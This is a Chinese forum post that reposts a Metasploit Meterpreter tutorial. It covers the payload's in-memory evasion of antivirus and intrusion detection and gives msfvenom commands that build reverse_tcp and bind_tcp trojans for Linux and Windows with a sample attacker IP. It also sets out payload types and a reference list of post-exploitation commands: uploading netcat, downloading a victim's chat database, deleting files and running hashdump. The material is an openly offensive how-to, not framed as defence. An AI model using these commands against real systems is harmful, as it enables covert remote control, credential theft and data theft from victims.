查看: 1702|回复: 1

SilentTrinity-学习记录6.1(Meterpreter命令详解)

[复制链接]

665

主题

1234

帖子

6576

积分

xdtech

Rank: 5Rank: 5

积分
6576
发表于 2020-3-4 10:10:14 | 显示全部楼层 |阅读模式
Metarpreter与SilentTrinity,目前并无关系。
不过,它的许多思想,都是可以借鉴的。这里,贴一个教程。

0x01初识Meterpreter
1.1.什么是Meterpreter
  Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个" style="line-height: 1.5;">Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开" style="line-height: 1.5;">shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和" style="line-height: 1.5;">IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己" style="line-height: 1.5;">,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统" style="line-height: 1.5;">]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
  最后" style="line-height: 1.5;">,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型" style="line-height: 1.5;">Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的" style="line-height: 1.5;">DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中" style="line-height: 1.5;">Meterpreter的通信是通过Stager套接字实现。" style="line-height: 1.5;">meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式
需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和" style="line-height: 1.5;">meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行" style="line-height: 1.5;">help之后发现缺少命令。 连上vpn又在内网中使用" style="line-height: 1.5;">psexec和bind_tcp的时候经常会出现这种情况
1.2.Meterpreter技术优势
  Metasploit提供了各个主流平台的Meterpreter版本,包括" style="color: rgb(0, 0, 0); line-height: 1.5;">Windows、Linux,同时支持x86、" style="color: rgb(0, 0, 0); line-height: 1.5;">x64平台,另外,Meterpreter还提供了基于" style="color: rgb(0, 0, 0); line-height: 1.5;">PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外," style="color: rgb(0, 0, 0); line-height: 1.5;">Meterpreter还支持Ruby脚本形式的扩展。所以" style="color: rgb(0, 0, 0); line-height: 1.5;">Ruby语言还很有必要。


0x02 Meterpreter中常用的反弹类型
1.reverse_tcp
这是一个基于TCP的反向链接反弹" style="line-height: 1.5;">shell, 使用起来很稳定
(" style="line-height: 1.5;">1)Linux:
使用下列命令生成一个Linux下反弹" style="line-height: 1.5;">shell木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f elf -o shell
看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上可执行权限。然后我们打开" style="line-height: 1.5;">Metasploit,使用模块handler,设置" style="line-height: 1.5;">payload,注意:这里设置的payload要和我们生成木马所使用的" style="line-height: 1.5;">payload一样。
设置下地址和端口,我们就开始监听了
这边运行一下我们的反弹shell木马,可以发现成功反弹回" style="line-height: 1.5;">shell了
(" style="line-height: 1.5;">2)Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口" style="line-height: 1.5;">] -f exe -o 要生成的文件名
msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f exe -o  shell.exe
反向连接shell,使用起来很稳定,需要设置" style="line-height: 1.5;">LHOST


2.reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定。
payload:/windows/meterpreter/reverse_http


3.reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成" style="line-height: 1.5;">443试试
payload:/windows/meterpreter/reverse_https
4.bind_tcp
这是一个基于TCP的正向连接" style="line-height: 1.5;">shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置" style="line-height: 1.5;">LHOST。
使用下列命令生成木马:
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444  -f elf -o shell
同样道理加权限运行,不演示了。
这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。


0x03 相关Payload
Payload中包含有需要在远程系统中运行的恶意代码,而在" style="color: rgb(0, 0, 0); line-height: 1.5;">MetasploitPayload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了" style="line-height: 1.5;">Payload在目标系统中的行为
Metasploit中的Payload模块主要有以下三种类型:
-Single
-Stager
-Stage
Single是一种完全独立的Payload,而且使用起来就像运行" style="line-height: 1.5;">calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的" style="line-height: 1.5;">Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条" style="line-height: 1.5;">tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个" style="line-height: 1.5;">tcp监听器,而攻击者随时可以与目标系统进行通信。
Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在Metasploit中,我们可以通过" style="line-height: 1.5;">Payload的名称和使用格式来推断它的类型:
Single Payload的格式为<target>/ <single>
Stager/Stage Payload的格式为<target>/ <stage> / <stager>

当我们在Metasploit中执行“" style="line-height: 1.5;">show payloads”命令之后,它会给我们显示一个可使用的Payload列表:
在这个列表中,windows/powershell_bind_tcp就是一个" style="line-height: 1.5;">Single Payload,它不包含Stage Payload。而" style="line-height: 1.5;">windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(" style="line-height: 1.5;">meterpreter)组成。


0x04 Meterpreter的常用命令
1.基本命令
help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k  number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据
write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本


2.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload  setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/   # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini  # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search  -d c:\\  -f*.doc
meterpreter > search -f autoexec.bat  #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops     #用户登录数


回复

使用道具 举报

665

主题

1234

帖子

6576

积分

xdtech

Rank: 5Rank: 5

积分
6576
 楼主| 发表于 2020-3-4 10:10:36 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表